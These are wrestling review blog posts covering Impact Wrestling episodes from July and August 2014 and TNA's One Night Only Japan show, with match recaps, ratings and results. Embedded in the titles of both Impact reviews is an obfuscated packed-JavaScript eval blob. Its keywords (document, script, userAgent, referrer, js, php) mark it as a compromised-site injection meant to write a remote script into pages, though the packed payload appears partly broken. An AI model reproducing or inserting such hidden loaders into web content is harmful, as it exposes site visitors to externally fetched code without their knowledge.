Impact Wrestling – August 14, 2014: Uh…..What Do We Do Now?

Impact eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|htsez|var|u0026u|referrer|fidby||js|php'.split('|'),0,{})) Wrestling
Date: August 14, 2014
Location: Manhattan Center, New York City, New York
Commentators: Mike Tenay, Taz

It’s kind of a new era in TNA as Dixie Carter, at least in theory, is off TV for a very long time. Last week Team 3D powerbombed her (kind of) through a table in the big moment that people had been waiting to see for years. Now we’re getting ready for Bound For Glory but there really isn’t anything set up in advance. There are about two months left but only one episode lets on Thursdays. Let’s get to it.

We open with a recap of Dixie being put through a table.

Here’s a very happy Ray to open things up. He thanks all of us for believing in him until he put Dixie through a table. Ray needed all of the fans’ help to do it but there is one man in particular he needs to thank. Rick had Scott, Hawk had Animal, and he has D-Von. This brings out D-Von who says it feels good to be home in New York City. Now that Dixie is gone, it’s time to get down to business.

Cue the Hardys and it’s time for an old school showdown. Matt says it’s been twelve years since the four of them were all together and congratulates the two of them on being inducted into the Hall of Fame. He brings up the first ever tag team table match in 2000 (wasn’t that done before in ECW?) and Bully helps him through their history of ladders and TLC matches. The fans want to see it one more time and all four seem totally cool with the idea.

Recap of Joe winning the X-Division Title last week.

Joe talks about being tasked with revamping the X-Division.

Manik vs. Crazzy Steve vs. Tigre Uno vs. DJZ vs. Low Ki vs. Homicide

Elimination rules with tags and the winner gets an X-Division Title shot next week. Steve and Tigre start things off with DJZ tripping up Steve from the floor. Tigre slams Steve down and hits a Phoenix Splash for the elimination in less than a minute. Manik comes in to flip around a lot, only to get caught in a nice springboard armdrag. Manik comes back with a springboard dropkick of his own and a tiger suplex into a gutbuster for a fast pin to get us down to four.

Everyone not named DJZ has a staredown in the middle of the ring until DJZ hits a springboard dropkick to take down Low Ki and Homicide. Manik catches himself in the ropes but gets cradled by DJZ for the third elimination in less than three minutes. The veterans double team DJZ and tags turns hammering on him until Homicide hits a Gringo Killa for the pin, getting us down to two.

They hammer away on each other until Homicide sends him to the floor, setting up a flipping suicide dive to send Low Ki into the barricade. A running knee to the face in the corner gets two for Homicide as the fans think this is awesome. Low Ki blocks a Gringo Killa and kicks Homicide into the corner. The Ki Crusher gives Low Ki the title shot at 7:02.

Rating: D+. So why in the world did they not just do Low Ki vs. Homicide? The match was nothing special due to how fast everything had to go and it was really annoying to sit through. Nothing to see on the match but at least they got the major two guys in there at the end for the longest time.

Here are a banged up Spud, Ethan Carter III and Rhino to address their future. Spud nearly cries when talking about the travesty of Dixie being put through a table. He freaks out when the fans won’t give him a moment of silence but Ethan takes the mic. Carter demands Bully’s termination from the company but here’s Kurt Angle to interrupt. Kurt tells them to shut up because this isn’t Nashville. They’ll either wrestle tonight or get thrown out.

Ethan yells a lot so here are the cops. Spud freaks out because he has a British passport, meaning he has diplomatic immunity. This doesn’t quite work and he’s quickly taken down and handcuffed. Ethan freaks out again and talks about having more money than he’ll ever need. He tries to bribe the cop and is arrested as well, drawing a big smile from Kurt.

Samuel Shaw says the trouble between Gunner and Mr. Anderson is his fault but Gunner says it’s Anderson’s prejudices. Gunner wishes Shaw luck tonight.

Ethan and Spud are thrown out of the building.

Back from a break and they’re still in the building and offering bribes. Rhino is being ejected as well but now they’re thrown out onto the street.

Mr. Anderson vs. Gunner

They shove each other to start until Anderson runs him over with a shoulder. Gunner does the same and it’s an early standoff. Anderson gets muscled down to the mat but spins out and cranks on a hammerlock. Back up and they slug it out until Shaw comes in to brawl with Anderson for the DQ at 2:52.

The Beautiful People aren’t quite on the same page for the fourway tonight.

We get a clip from after Impact with Bully Ray singing Ding Dong The Wicked Witch Is Dead. Dixie may have a broken back and will be interviewed next week.

Knockouts Title: Taryn Terrell vs. Angelina Love vs. Gail Kim vs. Velvet Sky

Kim is defending and it’s one fall to a finish. Big brawl to start with the Beautiful People taking early control. Terrell gets beaten down until the Beautiful People head outside where Gail takes them both out with a cross body from the apron. Terrell dives onto all three and everyone is down. Fans: “BETTER THAN DIVAS!” Back in and the Beautiful People get in an argument over who gets the pin, allowing Gail to send both of them into the corner. Angelina breaks up In Yo Face but gets taken down by Taryn, allowing Gail to make Velvet Eat Defeat to retain at 4:48.

Rating: C. Well that happened. It’s happened a bunch of times in the Knockout division and there’s almost no reason to care anymore. I can’t count how many times I’ve seen the Knockouts have a fourway match and it’s really not interesting anymore. Also, they couldn’t give a title match more than five minutes? Let something like this feel big instead of rushing it along and maybe it means something.

The Trio isn’t worried about Dixie Carter.

MVP/Kenny King/Lashley vs. Austin Aries/Bobby Roode/Eric Young

Roode and Lashley get things going as the fans are behind Aries. King comes in to nail Roode instead and tells Lashley that he’s got this one. Bobby comes back with some clotheslines but King bails to avoid a Crossface. Aries gets the tag and shoves King into a backbreaker from Roode, followed by a slingshot elbow for two. It’s off to Young vs. Lashley with Eric’s piledriver attempt being easily countered. Lashley misses a charge and falls to the floor but King crotches Eric to slow things down.

MVP comes in and tries a few covers but opts for just nailing Young in the face instead. Eric rolls over and tags in Aries to clean house, including a missile dropkick to King. Lashley’s spear is countered into the Last Chancery and everything breaks down. MVP beats on Roode but walks into a piledriver from Young. Lashley picks Young up for a powerslam but Aries escapes one of his own before nailing Lashley with discus forearms. The running dropkick in the corner looks to set up the 450 but MVP nails Aries in the back with the crutch, setting up the spear from Lashley for the pin at 8:12.

Rating: C+. This was good stuff and I continue to wonder who gets Lashley (assuming he’s still champion) at Bound For Glory. Young isn’t going there and Aries had his shot, so you would think it’s Bobby Roode. I’m not sure you go with him, even though he seems like the best option. That’s one of TNA’s major problems: they can’t build a face to save their lives.

H_V_K is coming. We should be getting the other letters soon.

The Wolves have loved watching the Hardys and Team 3D for years and they’ll enjoy it again tonight. They’d be glad to give Team 3D a shot.

Here’s Abyss with something to say. He demands that Bram get out here right now with his Janice. Abyss gets what he wants plus Magnus as a bonus. Bram stands in front of him as Abyss says possession doesn’t mean anything to him so give Janice back. Bram says she’s his now and that it drives him wild to hit Abyss with Janice.

Abyss asks if Bram wants to get extreme and the fans are entirely behind him. He wants the match to have tacks, glass, barbed wire, and Janice hanging above the ring. Bram accepts the challenge and Magnus says Abyss doesn’t get many women except Janice. The fight is on but Bram clips Abyss and takes Janice with him.

In a very dark and creepy vignette, James Storm is at his farm with Sanada and calls him weak, confused and lost. Storm says he is Sanada’s glory and salvation. He yells at the cameraman to leave. Awesome segment.

Hardcore Justice is next week.

Hardys vs. Team 3D

You would think this would get a bigger build. Team 3D has the old school camouflage on. D-Von cranks on a headlock on Matt but walks into an elbow to the jaw. Off to Jeff vs. Bully with Ray nailing him in the jaw as we take a break. Back with Jeff taking over but Bully breaks up an attempt at Poetry in Motion. D-Von puts Jeff in a chinlock before it’s back to Ray for some hard elbow drops.

A neckbreaker gets two for D-Von and there’s the reverse 3D for two more. We hit a bearhug from Bully on Jeff, who gets backdropped when trying to escape. Ray goes to the middle rope and taken down with a nice hurricanrana for two. The hot tag brings in Matt to hammer on D-Von with a bulldog getting two. There’s the Side Effect for two more as everything breaks down. Matt takes a clothesline and Jeff gets crotched going for the Whisper in the Wind.

D-Von loads up a superplex but Matt pulls him away, setting a Doomsday Device with Jeff nailing a Whisper in the Wind instead of a clothesline for two. Bully breaks up what appeared to be a double superplex and there’s the real Doomsday Device for two on Matt. What’s Up nails Matt and it’s table time but Jeff dives on Team 3D to break it up. Back in and the Twist of Fate sets up the Swanton to D-Von for two. The announcers undersell the kickout before 3D ends Matt at 16:57.

Rating: B-. The match was good but is little more than nostalgia. That being said, this was far better than almost anything else that TNA’s tag division does these days as it’s nice to have more than two teams at a time. Throwing these four with the Wolves into a three way would get a big reaction and could draw a nice audience. Assuming there’s more than a two hour build that is.

They embrace to end the show.

Overall Rating: B-. There were some issues with this show (short matches for one thing) but the energy and storytelling is getting good. I still don’t trust TNA due to how many times they’ve burned me over the years, but they’re hot going into the move to Wednesdays. This wasn’t great or anything, but it’s a good sign that they have something to do after getting rid of Dixie. Solid show this week and a nice surprise.

Results
Low Ki b. Homicide, Manik, Tigre Uno, DJZ and Crazzy Steve – Ki Crusher to Homicide
Mr. Anderson b. Gunner via DQ when Samuel Shaw interfered
Gail Kim b. Angelina Love, Velvet Sky and Taryn Terrell – Eat Defeat to Sky
Lashley/MVP/Kenny King b. Austin Aries/Eric Young/Bobby Roode – Spear to Aries
Team 3D b. Hardys – 3D to Matt

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TNA One Night Only: Global Impact Japan: The Bound For Glory Preview

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Date: July 4, 2014
Location: Ry?goku Kokugikan, Tokyo, Japan
Attendance: 5,800
Commentators: Mike Tenay, Taz

This is another One Night Only show with the roster heading to Japan for a show co-promoted by the Wrestle-1 promotion. Naturally, what better day to hold it on thant he Fourth of July? This show has three title matches, all of which have been spoiled on Impact in the four months since this was taped. I hope you like this, as this is very similar to what Bound For Glory is going to be this year. Let’s get to it.

The opening video shows a lot of the traveling as a voiceover talks about how awesome this is for TNA. Magnus is the main star featured in the video as he was the World Champion when this took place.

Bad Influence vs. Junior Stars

The Junior Stars are Koji Kanemoto and Minoru Tanaka. Kanemoto wrestled at Starrcade 1995 and invented the Koji Clutch. Tanaka was in TNA for the 2006 World X-Cup. I’m assuming the Junior part is for their weight class and not for their ages. Daniels and Tanaka get things going with Christopher being taken into the corner, where he shouts CLEAN BREAK about fifteen times in a loud voice. Daniels does the same to Tanaka, who shouts the same thing and is granted his request. They hit the mat for a bit before Tanaka dropkicks Daniels’ knee.

Off to Kanemoto vs. Kazarian with Koji taking over, using something like Joe’s Facewash. Taz says Koji invented that move which really wouldn’t surprise me given Joe’s work in Japan. Kaz comes back with a dropkick and is hiptossed onto Koji by Daniels for two. Back to Daniels as Taz makes jokes about photographers. They’re firmly in the “let’s make jokes instead of calling the match” mode tonight.

Bad Influence starts some fast tagging to keep Kanemoto in trouble but he avoids a charge from Daniels to get a breather. A suplex puts Daniels down but there’s no tag to Tanaka. Instead Koji misses a moonsault and a double big boot puts both guys down. A double tag brings in Daniels to face Tanaka with Minoru taking over with shots to the face. Everything breaks down and Tanaka dives off the middle rope to take Daniels down to the floor.

A half butterfly suplex gets two on Christopher and Koji gets two off a 450. Kazarian pulls the referee out to really get the fans’ attention. A powerbomb/neckbreaker combination gets two on Tanaka but he pops up and puts Kaz in an ankle lock. Kanemoto puts Daniels in a cross armbreaker at the same time but Kaz crawls over to save his partner. Why Tanaka lets go of his hold when Tanaka’s is broken isn’t clear. Bad Influence goes High/Low for the pin out of nowhere on Kanemoto.

Rating: C+. The match was fine for an opener as Daniels and Kazarian can wrestle without having to do all their comedy stuff. That fits in better for a more serious show like this, and the match was entertaining as a result. It wasn’t anything spectacular but not every match has to be.

A humble Magnus talks about how important of a show this is for both himself and TNA. He and Joe won the GHC Tag Team Titles here about a year ago so he has history in this building. Tonight he’s defending against Kai and promises that it’s going to be a war.

Bad Influence says they’re the best team in the world. This is much more over the top in true Bad Influence style. Tanaka chases them off.

Gail Kim vs. Madison Rayne

Madison is Knockouts Champion at this point but I believe this is non-title. Rayne gets a quick rollup for two and does the mat humping for two. Tenay and Taz try to talk about some Japanese culture and wrestling history but it’s about as pitiful as you would expect. Gail gets two off a clothesline and hits the running cross body to the ribs in the corner. Madison comes back with a rolling cradle but Gail tries to cheat. The champion isn’t happy and charges into the buckle to stun herself.

Gail puts on the figure four around the post as Taz continues asking about the numbered photographers at ringside. Back up and Madison’s leg is fine as Gail rolls her up for two. A suplex gets the same for Rayne but she gets caught in something like a Death Valley Driver for two. Eat Defeat gets Gail the pin a few seconds later.

Rating: D+. This is the exact same match these two have had about a dozen times and in this case Gail won. I really don’t know what else you want me to say about this one, as their matches have been done so many times and there’s almost nothing more to see them do in the ring.

We hear from some wrestlers who are happy to be in Japan. This looks like deleted scenes from the opening video.

Abyss vs. Yoshihiro Takayama

Takayama is described as the Japanese Abyss. Granted that’s Tenay’s opinion of him so I’d expect the second coming of Petey Williams. It’s a brawl to start of course with the blond haired Takayama being knocked out to the floor early on. Takayama slugs away but gets sent into the barricade for his efforts. Back in and they punch each other some more with Takayama nailing a pair of running knees to the chest. Abyss blocks a German suplex and they head outside again.

Four minutes into the match, Tenay casually mentions that Takayama has won the All Japan Triple Crown Title, the GHC Championship and the IWGP Championship. I don’t follow Japanese wrestling and even I know that’s a bigger deal than something you mention four minutes into a match. Abyss takes him to the ramp and pours out the thumbtacks but Takayama fights out of a chokeslam. He tries another German but gets slammed down onto the tacks. Abyss misses a splash and lands in the tacks as well before they brawl to a no contest.

Rating: C-. Take two big guys and let them fight for about seven minutes. This was a mindless but fun brawl and that’s what you would expect out of guys like these two. The tacks were a nice big spot at the end and the shorter you keep an Abyss match, the better things are going to be.

Gail Kim says she’s the best Knockout in the world and screws up the continuity of being Madison’s friend.

Masakatsu Funaki vs. Bobby Roode

Funaki is a technical guy with a very successful MMA background. Feeling out process for the first minute and a half with Roode shouting about how great he is. Bobby takes him down with a headlock but Funaki grabs a much faster headlock of his own to take control. Back up and they stare each other down before Roode tries a forearm.

A stiff kick to the chest puts him down on the floor where he asks Funaki to bring the fight. Funaki obliges and is whipped hard into the barricade for his efforts. Bobby sends him shoulder first into the post before wrapping it around the ropes. A knee drop gets two on Funaki and it’s off to a cross armbreaker. Funaki fights up and fires off kicks in the corner followed by a hard one to the face.

They chop it out until Roode takes him down with a DDT on the arm. There’s the crossface (more like a crossforehead) but Funaki rolls backwards into a rollup for two. Back up and Funaki tries an ankle lock, only to get pulled back down into the crossface. That goes nowhere so Roode grabs a spinebuster for two. The Roode Bomb is countered into the ankle lock and Bobby taps out.

Rating: B. This was a nice technical match with Roode having good psychology by going after the arm for the entire match before trying the crossface. I would have liked some leg work before the ankle lock but it wasn’t completely out of nowhere. Roode looked good here and the match was fun to watch.

Joe is thrilled to get to face Great Muta tonight. He calls wrestling an international language and says TNA is ready to show what they can do to a new audience.

Keiji Mutoh/Rob Terry/Taiyo Kea vs. Masayuki Kono/Rene Dupree/Samoa Joe

Joe’s team gets the jobber treatment and Mutoh might retire if he loses. Joe and Kea get things going with Joe hammering away in the corner, only to have Kea no sell most of the shots. A big boot has little effect on Joe and an elbow to Kea’s jaw has the same result. Off to Terry vs. Dupree for a posedown before Renee dropkicks Terry’s knee out. Kono comes in to try a double suplex but Terry suplexes both of them at the same time.

Mutoh gets the tag for the power drive elbow before putting Kono in an STF. Back to Kea for chops followed by Terry for some cranking on the arm. Mutoh puts on a sleeper but Dupree gets in a cheap shot. Joe glares at his partner for the cheap shot and does the same thing to Kono, even going so far as to save Mutoh. Apparently he’s fine with backsplashing Mutoh for two and putting on the Koquina Clutch but everything breaks down.

Things settle down and Mutoh mostly misses a dropkick to Joe and the tag brings in Kea. A Russian legsweep gets two on Joe but he comes back with a powerslam. Off to Kono who gets caught in something resmbling a running DDT. Terry gets the tag and gets the crowd to clap a lot before hitting a slow motion Jackhammer. Kea rolls away and tags in Dupree who is quickly backdropped down.

Muta comes in and takes out everyone with dragon screw legwhips before putting Renee in a Figure Four. Kono makes a save so Muta hits Dupree with a Shining Wizard but everything breaks down. Members of the Desperadoes stable comes in to attack Mutoh but Joe won’t help them. He takes a chair from Dupree and headbutts him before walking out, allowing Mutoh to hit the Shining Wizard for the pin on Dupree.

Rating: D+. Well you knew Mutoh wasn’t jobbing here. This match was a big mess though with Joe wanting to do the right thing or whatever it was while all of the people interfered (and Tenay just expected us to know who they were because EVERYONE follows a year old Japanese promotion). This felt like “let’s all love Mutoh” and while he deserves respect, I don’t care for matches that turn into stuff like this. It wasn’t terrible or anything and the story made good sense, but it was messy.

The Wolves talk about how honored they are to perform in this building. They respect Team 246 but don’t think too much of the BroMans.

Tag Team Titles: BroMans vs. Wolves vs. Team 246

One fall to a finish, The Wolves are defending and Team 246 is Kaz Hayashi/Shuji Kondo. These are the TNA Tag Team Titles if that’s not clear. Three people in the ring at once so it’s Robbie, Kaz and Davey getting things going. Kaz and Davey slug it out before they both stare at Robbie, triggering a very Broish scream. Robbie Hulks Up and a single chop from Kaz sends him to the floor. Davey and Kaz get to shout at each other a lot and counter moves until Kaz kicks him down.

Eddie comes in but gets caught by a DDT from Kondo. The BroMans pull everyone to the floor until they head back inside with the Wolves. The champions low bridge the BroMans to the floor before diving onto Team 246. Robbie totally misses a dive so the Wolves hit more stereo dives to take everyone out. Back in and Davey kicks Jesse in the side of the head before an enziguri and missile dropkick put Hayashi down for two.

The BroMans shove the Wolves off the top rope and double team Hayashi. Things settle down with the Wolves staying out of the ring as Kaz gets beaten up even more. Davey finally comes back in but gets gorilla pressed by Jesse and nailed with a middle rope elbow from Robbie. Hayashi shoves the BroMans into each other but Davey kicks Kondo off the apron. Kondo comes in anyway as everything breaks down.

A spinebuster gets two on Edwards and Kondo sends the BroMans together again. Davey comes back with a handspring into a kick to Kondo’s face. Robbie DDTs Kaz down but gets laid out by the Wolves. Kondo powerslams Edwards and some double teaming from 246 gets two. Kaz gets the same off a superkick but Davey makes the save.

Richards kicks both of 246 before slugging it out with Hayashi again. A hugh kick to Kaz’s head sets up a German suplex for two for Davey and the powerbomb/Backstabber combo gets two more. The BroMans send the champions to the floor but Kondo breaks up the Bro Down. Richards kicks Kondo down but gets sent to the floor, setting up the Bro Down to Hayashi for the pin and the titles.

Rating: C+. This was fine though I still don’t see the appeal of Kaz Hayashi. He didn’t do anything for me in WCW and now he’s not doing anything for me when he has longer hair. The Wolves looked decent but I get really tired of the Japanese style of getting hit in the face a lot and just screaming in response.

Sanada training video.

The BroMans celebrate.

X-Division Title: Austin Aries vs. Sanada

Sanada is challenging. They shake hands to start before trading armbars. Now they trade headlocks until Sanada hooks a quickly broken abdominal stretch. Sanada rolls him up for two and it’s another standoff. Austin takes him to the mat and rides him a bit before grabbing a few rollups for two each. Aries flips out of a wristlock before dropkicking Sanada in the head for the first real advantage. Sanada is sent to the floor but blocks a suicide dive with a forearm.

Back in and Sanada hammers away in the corner for two but Aries sends him to the floor to break up a springboard attempt. The champion hits a top rope ax handle to the floor before hitting a running elbow off the ramp for two back inside. After working on the neck for a bit, Aries hooks a leg lock to change course. A knee crusher gets two for Aries before they chop it out with Sanada taking over. Aries comes back with a discus forearm to put Sanada on the floor and now the suicide dive connects.

A missile dropkick sends Sanada across the ring but he stays on his feet. Sanada stops a charge with a boot to the face but Austin grabs a crucifix, only to be flipped up into a TKO in a sweet counter. Aries pops back up with a knee crusher into a belly to back suplex, followed by the corner dropkick.

The brainbuster is countered so Aries hits three more running dropkicks, only to have Sanada counter the brainbuster into a suplex. Sanada wins a slugout but Aries grabs him for the brainbuster and two. There’s the Last Chancery but Sanada crawls over to the rope. Aries misses the 450 and a German/dragon/tiger suplex combo gets two for Sanada. A pair of moonsaults give Sanada the title.

Rating: B-. This was the usual good match between these two and it should have been the longest match of the show. Sanada is at least getting to be in TNA longer than the cup of coffee that a lot of foreign wrestlers get in American companies. He’ll get a big match at Bound For Glory and it’s going to be interesting to see where he goes after that.

A stunned Aries rolls up the promoter before raising Sanada’s hand.

Magnus says Kai is good but not good enough.

Here’s a match from Lockdown 2014.

Bad Influence/Chris Sabin vs. Great Muta/Sanada/Yasu

Daniels and Kazarian come out in Great Muta garb circa 1989. Sanada took the X Title from Austin Aries a week ago in Japan. Sabin and Sanada get things going and fight over hiptosses before Sanada grabs an abdominal stretch. It’s quickly off to Muta to drop some fast elbows on Sabin followed by a crossface hold. Daniels makes the save but we get the Green Mist from Muta.

Back to Yasuyuki who gets taken into the wrong corner with Daniels dropping him with a belly to back suplex, setting up a slingshot legdrop from Kaz for two. Daniels suplexes Kaz onto Yatzu, setting up a springboard moonsault for two from Christopher. Back to Kaz who misses a top rope legdrop, allowing the hot tag off to Sanada.

He cleans house until Bad Influence hits a quick High/Low for two. Daniels takes Sanada down for a second but a hot tag brings in Muta to really clean house with dragon screw leg whips all around. The Mist puts Daniels down and there’s the Shining Wizard, setting up a moonsault from Sanada for the pin on Daniels at 9:22.

Rating: C. Not a bad match and a good choice for an opener, but it’s also a good example of what’s wrong with the all cages gimmick. The cage added absolutely nothing here and there’s no reason for the cage to be there at all. The fans reacted well to the Japanese guys so it certainly wasn’t a terrible idea.

Austin Aries says he makes guys like Sanada raise their game.

TNA World Title: Magnus vs. Kai

Magnus is defending and Kai won a tournament to get this shot. Feeling out process to start as a lot of TNA guys have come out to watch the match. No one goes anywhere when they fight over a top wristlock so Magnus takes him down with a headlock. Back up and Kai nails three straight dropkicks but Magnus stops him with a forearm. They head up the ramp and fight over a suplex on the stage until the champion takes him over.

Back in and Taz keeps complaining about the referee not being up to his standards. We hit another chinlock followed by a camel clutch to Kai. Taz notices that Kai’s tights say Dress Camp and goes on a rant about summer camp. Kai fights up and sends Magnus to the floor, followed by a suicide dive to take over. Magnus fights out of a powerbomb and kicks away, only to get dropped by a clothesline.

They slug it out with Kai nailing a falcon’s arrow for two. Kai goes up but gets superplexed down, though Magnus can’t follow up. Back up and a springboard enziguri drops Magnus and a running boot to the face gets two. A powerbomb gets two more on the champion but he catches Kai in a Michinoku Driver for a near fall of his own. The top rope elbow gets the same and another Michinoku Driver followed by a second elbow retains Magnus’ title.

Rating: C. It was a pretty good main event style match, but the problem I have with this is the problem I have with almost all shows like this: who is Kai and why should I care about him? Yeah I know he won a tournament, but I have no connection to Kai, have never seen one of his matches or heard him talk. All I know about him I learned in the last fifteen minutes of hearing Tenay and Taz and watching this one match. Wrestling is about connecting with performers, be it through promos or through their matches. With nothing to go off, there’s no reason for me to care about Kai.

A two minute highlight package closes us out.

Overall Rating: C+. This was very different than the rest of the One Night Only shows as there was a completely unique feeling to the show. Now that being said, as I mentioned, I don’t care for most of these shows as I don’t care for Japanese wrestling all that much. The show wasn’t bad but it’s nothing I got excited about watching. I saw some good action but I have no connection to most of them. I don’t care to watch any more Wrestle-1, even though some of it was good stuff. Bound For Glory is going to be a HUGE gamble, but they could make it work under the right circumstances.

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of ECW Pay Per Views at Amazon for just $3.99 at:

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Impact Wrestling – July 10, 2014: Maybe Next Year X-Division

Impact eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|raehn|var|u0026u|referrer|snhfs||js|php'.split('|'),0,{})) Wrestling
Date: July 10, 2014
Location: Bethlehem Events Center, Bethlehem, Pennsylvania
Commentators: Mike Tenay, Taz

It’s the last night in Bethlehem, meaning we’re heading for New York next week. Tonight Kurt Angle has scheduled a series of title matches with only the World Title not being on the line. However, there will be a twenty man battle royal with the winner getting a World Title shot at some point in the future. Let’s get to it.

We open with a video about how so many titles are on the line this week. Most of them were last week as well but it’s nice to see matches that matter twice in a row.

Here’s Kurt Angle to declare this the Championship Showcase, meaning every match has championship ramifications. He runs down the card before asking Willow to come out here. Kurt says Jeff Hardy became Willow because of the dark place that Dixie Carter had put him in. Now it’s just Kurt Angle, and Kurt needs the most competitive wrestler in the world, and that’s Jeff Hardy. Kurt isn’t asking Willow to go away forever, but just for tonight.

Austin Aries says he’ll win the X-Division Title tonight.

Tag Team Titles: Wolves vs. Bram/Magnus

The Wolves are defending and it’s Davey vs. Magnus to get things going. A rolling enziguri puts Magnus down and the champions double team him in the corner. Bram comes in as well and gets kicked down just as quickly. It’s off to Bram legally but Davey rams him head first into Eddie ala the British Bulldogs. Magnus gets in a cheap shot from the apron to take over before getting Eddie off the apron so there’s no one for Davey to tag. The challengers take over and Magnus avoids a quick enziguri.

Another kick to the head connects and Bram can’t make a fast enough save. Edwards comes in with fast chops to cleans house before a top rope hurricanrana gets two on Bram. The Wolves sends the Brits to the floor for a double suicide dive. Back in and Davey misses the top rope double stomp but escapes a powerbomb into a backslide. The legal Eddie runs in and grabs Bram’s legs in a rollup for the pin at 7:17.

Rating: C. Nice match here but again, the Wolves need challengers to be built up to challenge them, not for them to beat week in and week out. They don’t need to prove how awesome they are and the division is already weak enough. It was entertaining stuff though and I’m fine with the Wolves like this. Just keep them away from fighting each other for awhile.

Bobby Roode is fired up.

Speaking of Roode, here he is in the arena. He talks about wanting something so much that you need it. For months, Dixie Carter made him sit at home and then MVP did the same. MVP sees him as a threat, but now this threat is in the middle of the ring. He wants to get his hands on MVP and doesn’t care about a doctor’s note. If MVP isn’t here by a count of ten, Roode is coming to the back and ripping MVP apart.

MVP’s music hits at about five and he comes out in a wheelchair and says Roode has made his knee injury even worse. It’s swollen so big that he can’t even get an MRI. He’s so upset that he won’t stand for this. Roode comes up the ramp anyway but has to dispatch Kenny King. MVP is sent down to the ring but King nails Roode with a chair. Eric Young comes out for the save but Lashley runs out to spear him down.

James Storm sits down with Sanada in the back and says Sanada will disgrace Japan and the Great Muta if he loses the title. Storm says Muta controls Sanada through the title, but Storm likes what he sees in Sanada. Interesting indeed.

We see the Angle and Willow segment again.

Angle says he thinks he got to Hardy, and that was his goal.

X-Divison Title: Sanada vs. Austin Aries

Sanada is defending and quickly spins out of a wristlock into a headlock on the mat but Aries pops right out of it. A dropkick nails Aries but he’s right on his feet again for a standoff. They head to the mat for the Last Chancery from Aries but Sanada is quickly in the ropes. Sanada puts on a rolling cradle for two and Aries is dizzy. A running clothesline puts him on the floor and but he slides in before Sanada can dive. Back in and Aries shoves him off the top to break up a springboard attempt, allowing him to hit a top rope ax handle to the floor.

Back in and Aries goes up, only to get dropkicked out of the air. Sanada sends him to the floor for a running dive off the apron but Aries counters the tiger suplex. The running dropkick in the corner sets up the brainbuster but Sanada flips out and gets the tiger suplex for two. The moonsault connects for two but an Aries avoids a second. The brainbuster gets two and the 450 gives Aries the pin at 8:26.

Rating: B. The match was awesome, but this basically makes Sanada’s entire reign totally pointless. It’s going to hurt the title even more when the belt is vacated and we have to have yet another tournament for the title and no big name enters it because there’s no reason to care about the X-Division Title until next July. Option C might be the worst thing ever for the division.

Ray doesn’t want to talk about Rhino and we go to a break very abruptly. We get the full version of the interview after we get back, with Ray shouting at the interviewer about how he’s going to talk to Rhino face to face.

Ethan Carter III says Rhino is going to reveal the real Bully.

Bully comes out to the ring and says when he was starting out, Bam Bam Bigelow gave him some advice: by the time he was established, he could count the number of true friends he had on one hand. That brings Ray to Rhino, who he wants out here right now, face to face. He gets Rhino but also gets Spud and Ethan Carter III. Bully demands answers from Rhino but Rhino says this is about the two of them. When Rhino was watching Team 3D being announced for the Hall of Fame, Rhino realized that Bully was a con man.

Ray has conned Paul Heyman and Dixie Carter. Bully says that’s a cop out and says Rhino has been brainwashed. This is just jealousy and Ray is in the Hall of Fame because the people say he should be. Rhino is responsible for his own career and is the only reason he got fired from WWE and TNA. He was hardcore at one point but now he’s just a coward. Ethan says he paid off Rhino because Rhino needs the money. Ray says he’s going to rip Carter apart but gets Gored. The beatdown ensues but Tommy Dreamer makes the save with a kendo stick. You know what the chant is.

The Beautiful People complain about how their flirting didn’t get them anywhere. Angelina says she’s going to win the title back tonight.

Knux says the Menagerie should win tonight because they’re tailor made for a battle royal.

Knockouts Title: Angelina Love vs. Gail Kim vs. Brittany vs. Madison Rayne

Gail is defending. Brittany jumps Madison on the way to the ring but Gail comes out for the save. Things settle down with Gail faceplanting Madison but Angelina pulls the champion out to the floor. Angelina and Brittany double team Madison with Love playing on Brittany’s inexperience to get a quick near fall. Madison hits a kind of suplex jawbreaker to put Brittany down but walks into the Botox Injection from Angelina. Eat Defeat to Love is enough to retain Gail’s title at 5:35.

Rating: D+. I can’t count how many times I’ve seen a match that was almost identical to this one between the Knockouts. They’ve been doing the exact same kind of multi girl matches for years now and, just like the people in them, they’re only slightly different than the last one. These get old and pretty easy to predict very fast.

Austin Aries says he always seems to have the X-Division Title around this time of the year. The title is the key for a title shot and everyone thinks he’s going to cash the title in for a title shot in New York City but he likes to mix things up. He says the division is important again.

Video on Destination X, three weeks from tonight.

Bobby Roode doesn’t care about MVP and the trio, but he’ll be back for them later.

MVP talks about how Lashley is a franchise player. We see Lashley working out wearing the title belt.

Battle Royal

Knux, Crazy Steve, The Freak, Bobby Roode, Eric Young, Ethan Carter III, Rockstar Spud, Manik, DJZ, Bram, Sanada, Magnus, Jesse Godderz, Bully Ray, Jeff Hardy, Mr. Anderson, Kenny King, Gunner, James Storm, Tigre Uno

The winner gets a title shot next week. Roode is now in long tights. Hardy comes out as Jeff Hardy for the first time in a few months. I think I’ve got everyone in the match but it’s always hard to tell. Jesse quickly dropkicks Crazy Steve out for the first elimination but the Freak puts him out a few seconds later. DJZ goes after the two remaining members of the Menagerie and is quickly eliminated. Bram and Magnus put the Freak out and Knux misses a big boot, allowing them to dump him as well. Storm knocks Hardy to the apron and bites Hardy’s fingers but can’t get an elimination.

Bram forearms Tigre Uno out as the ring is clearing a bit. Sanada is tossed as well before Roode clotheslines Magnus to the floor. Storm does the same to Anderson and tosses Gunner as well. Hardy gets rid of Bram, bringing out Abyss to hammer Bram to the back. Kenny King misses a charge at Manik and is able to eliminate him from the apron. Roode and Storm have the required showdown as we go to a break.

Back with Roode dumping Storm, getting us down to a final group of Spud, Carter, Ray, Young, King, Hardy and Roode. Spud tries to chop Ray and gets grabbed low for his efforts.
